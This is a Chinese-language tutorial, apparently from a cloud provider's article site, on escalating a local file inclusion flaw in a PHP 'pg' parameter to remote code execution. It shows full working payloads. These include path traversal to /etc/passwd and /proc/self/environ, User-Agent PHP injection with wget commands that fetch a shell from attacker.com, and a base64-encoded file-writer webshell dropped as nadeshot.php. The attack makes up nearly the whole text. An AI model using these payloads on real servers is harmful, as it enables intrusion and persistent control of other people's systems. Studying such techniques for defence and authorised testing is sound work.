溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

怎么通過構(gòu)造User-Agent請求頭內(nèi)容實現(xiàn)LFI到RCE提權(quán)

發(fā)布時間:2021-12-18 14:44:27 來源:億速云 閱讀:247 作者:柒染 欄目:網(wǎng)絡(luò)管理

這篇文章將為大家詳細講解有關(guān)怎么通過構(gòu)造User-Agent請求頭內(nèi)容實現(xiàn)LFI到RCE提權(quán),文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

下面通過對請求User-Agent內(nèi)容構(gòu)造,成功實現(xiàn)從本地文件包含漏洞(LFI)到遠程代碼執(zhí)行漏洞(RCE)的提權(quán)。

發(fā)現(xiàn)LFI漏洞

以下為目標網(wǎng)站的Contact Us鏈接路徑:

https://www.website.com/index.php?pg=contact.php

怎么通過構(gòu)造User-Agent請求頭內(nèi)容實現(xiàn)LFI到RCE提權(quán)

經(jīng)過對pg參數(shù)的fuzz,我發(fā)現(xiàn)其中存在LFI漏洞,可以用../../../../etc/passwd直接讀出系統(tǒng)密碼信息:

https://www.website.com/index.php?pg=../../../../etc/passwd

怎么通過構(gòu)造User-Agent請求頭內(nèi)容實現(xiàn)LFI到RCE提權(quán)

從LFI到RCE

要想把LFI提權(quán)到RCE, 我又發(fā)現(xiàn)另一個可讀路徑/proc/self/environ,于是我有了以下構(gòu)造:

https://www.website.com/index.php?pg=../../../../proc/self/environ

怎么通過構(gòu)造User-Agent請求頭內(nèi)容實現(xiàn)LFI到RCE提權(quán)
很好,從其輸出中可以看到,其中包含了如HTTP_USER_AGENT等一些環(huán)境變量參數(shù):

怎么通過構(gòu)造User-Agent請求頭內(nèi)容實現(xiàn)LFI到RCE提權(quán)

不錯,開啟BurpSuite,用system()方法更改請求中的User-Agent值:

User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>

不行,無效。再試試exec()方法:

User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>

也是不行,無效。那用phpinit()試試:

User-Agent: <?php phpinfo(); ?>

折騰了一陣后,我差點忘了我是可以向目標網(wǎng)站服務(wù)器寫東西的啊,于是我就又在User-Agent頭中構(gòu)造了以下Payload:

User-Agent: <?php $a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm 9ybT0iZm 9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm 9ybT4KPC9jZW50ZXI+Cg=='); $file = fopen('nadeshot.php','w'); echo fwrite($file,$a); fclose($file); ?>

解釋上述構(gòu)造的Payload

上述構(gòu)造使用的最終Payload是一個base64編碼的webshell,原代碼文件存在于Github庫中-https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php,其大概造型為:

$a = base64_decode('webshell_base64_encoded_code_here');

然后我們向服務(wù)器中寫入了一個名為nadeshot.php的文件:

$file = fopen('nadeshot.php','w');

然后服務(wù)器會把base64編碼的上述文件寫入nadeshot.php文件:

echo fwrite($file,$a);

再保存文件:

fclose($file);

上述請求Payload執(zhí)行后的BurpSuite動作如下:
怎么通過構(gòu)造User-Agent請求頭內(nèi)容實現(xiàn)LFI到RCE提權(quán)

響應(yīng)成功。希望我們的Webshell可以成功,訪問https://website.com/nadeshot.php試試看:
怎么通過構(gòu)造User-Agent請求頭內(nèi)容實現(xiàn)LFI到RCE提權(quán)

Webshell寫入成功,保存為了nadeshot.php,太好了,我們再接著往里寫入nadeshot.txt文件試試:

怎么通過構(gòu)造User-Agent請求頭內(nèi)容實現(xiàn)LFI到RCE提權(quán)

然后訪問https://website.com/nadeshot.txt,一樣有效:

怎么通過構(gòu)造User-Agent請求頭內(nèi)容實現(xiàn)LFI到RCE提權(quán)

就這樣,成功實現(xiàn)了從LFI到RCE的提權(quán)。

關(guān)于怎么通過構(gòu)造User-Agent請求頭內(nèi)容實現(xiàn)LFI到RCE提權(quán)就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI